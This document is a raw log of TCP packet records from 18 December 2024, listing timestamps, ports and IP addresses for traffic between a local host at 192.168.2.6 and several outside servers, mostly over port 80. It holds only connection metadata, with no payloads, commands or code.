Dec 18, 2024 12:00:24.574695110 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.574745893 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.575054884 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.575066090 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.575108051 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.576153040 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.576163054 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.576195955 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.576261997 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.577296972 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.577387094 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.601114988 CET	443	49953	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:24.601200104 CET	443	49953	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:24.601295948 CET	49953	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:24.628488064 CET	49953	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:24.628519058 CET	443	49953	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:24.667169094 CET	80	49960	185.215.113.209	192.168.2.6
Dec 18, 2024 12:00:24.667241096 CET	49960	80	192.168.2.6	185.215.113.209
Dec 18, 2024 12:00:24.710875988 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.710966110 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.711122036 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.711189032 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.711432934 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.711483002 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.711546898 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.711591005 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.712480068 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.712579012 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.712601900 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.712658882 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.712918997 CET	49960	80	192.168.2.6	185.215.113.209
Dec 18, 2024 12:00:24.713677883 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.714061022 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.714090109 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.714144945 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.714936018 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.715035915 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.715039015 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.715074062 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.715930939 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.716013908 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.716043949 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.716058969 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.716830969 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.716892958 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.716926098 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.717710972 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.717921972 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.717977047 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.718015909 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.718074083 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.719137907 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.719183922 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.719248056 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.719299078 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.720124960 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.720191956 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.720210075 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.720253944 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.721247911 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.721298933 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.721443892 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.721508980 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.722333908 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.722419024 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.722460032 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.722501993 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.723630905 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.723741055 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.723783016 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.723833084 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.724585056 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.724709988 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.724725008 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.724759102 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.725672007 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.725713968 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.726030111 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.726073980 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.726716042 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.726761103 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.726830006 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.726874113 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.727835894 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.727884054 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.727993011 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.728039980 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.729034901 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.729084969 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.729125977 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.729170084 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.730019093 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.730065107 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.730122089 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.730180025 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.731143951 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.731250048 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.731268883 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.731340885 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.732289076 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.732307911 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.732378006 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.732378006 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.733313084 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.733367920 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.733409882 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.733525991 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.734407902 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.734464884 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.734455109 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.734508038 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.735479116 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.735562086 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.735608101 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.735650063 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.736593962 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.736646891 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.736650944 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.736692905 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.737768888 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.737827063 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.737837076 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.737884998 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.738774061 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.738796949 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.738821030 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.738848925 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.739912987 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.739994049 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.740092039 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.740138054 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.741226912 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.741342068 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.741347075 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.741388083 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.742283106 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.742335081 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.742381096 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.742897987 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.743412018 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.743603945 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.743619919 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.743664026 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.744504929 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.744601965 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.744618893 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.744651079 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.745645046 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.745702982 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.745748997 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.746505022 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.746607065 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.746608019 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.746653080 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.747508049 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.747560024 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.747581005 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.747627974 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.748635054 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.748682022 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.748758078 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.748802900 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.749761105 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.749809980 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.749850035 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.750011921 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.750863075 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.750915051 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.750978947 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.751020908 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.751955032 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.752002954 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.752033949 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.752085924 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.752988100 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.753046989 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.753179073 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.753223896 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.754178047 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.754240036 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.754239082 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.754287004 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.755258083 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.755330086 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.755395889 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.755443096 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.756282091 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.756355047 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.756403923 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.757409096 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.757513046 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.757544041 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.757666111 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.758848906 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.758903980 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.759008884 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.759095907 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.760057926 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.760107994 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.760261059 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.760308027 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.761192083 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.761305094 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.761374950 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.762252092 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.762320042 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.762358904 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.762404919 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.763209105 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.763266087 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.763427973 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.763480902 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.764409065 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.764472961 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.764483929 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.764751911 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.765238047 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.765306950 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.765307903 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.765366077 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.766299963 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.766355038 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.766401052 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.766444921 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.767230988 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.767285109 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.767337084 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.767405987 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.768357038 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.768596888 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.832746983 CET	80	49960	185.215.113.209	192.168.2.6
Dec 18, 2024 12:00:24.866874933 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:24.880211115 CET	49962	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:24.880244970 CET	443	49962	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:24.880357981 CET	49962	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:24.880773067 CET	49962	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:24.880788088 CET	443	49962	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:24.901925087 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.901978970 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.902007103 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.902096987 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.902154922 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.902209044 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.902354002 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.902439117 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.903378010 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.903419018 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.903434992 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.903462887 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.904413939 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.904478073 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.904565096 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.904633999 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.905592918 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.905663967 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.905705929 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.905750036 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.906593084 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.906666994 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.906769037 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.906817913 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.907707930 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.907754898 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.907823086 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.907866001 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.908797026 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.908850908 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.909019947 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.909068108 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.909882069 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.909931898 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.909946918 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.910031080 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.910967112 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.911019087 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.911061049 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.911159039 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.912123919 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.912173033 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.912353039 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.912450075 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.913153887 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.913208961 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.913209915 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.913249016 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.914268970 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.914374113 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.914416075 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.915340900 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.915389061 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.915539026 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.915591002 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.916438103 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.916513920 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.916560888 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.916709900 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.917562962 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.917635918 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.917664051 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.917710066 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.918910980 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.918972015 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.919043064 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.919105053 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.920176983 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.920267105 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.920305014 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.920429945 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.921122074 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.921185017 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.921233892 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.921282053 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.921936035 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.921998978 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.922045946 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.922095060 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.923034906 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.923084974 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.923238039 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.923358917 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.924679041 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.924741983 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.924745083 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.924789906 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.925549030 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.925623894 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.925657034 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.925705910 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.926465988 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.926527023 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.926553011 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.926713943 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.927536011 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.927587986 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.927659035 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.927730083 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.928514004 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.928571939 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:24.928615093 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:24.928661108 CET	49950	80	192.168.2.6	185.215.113.16
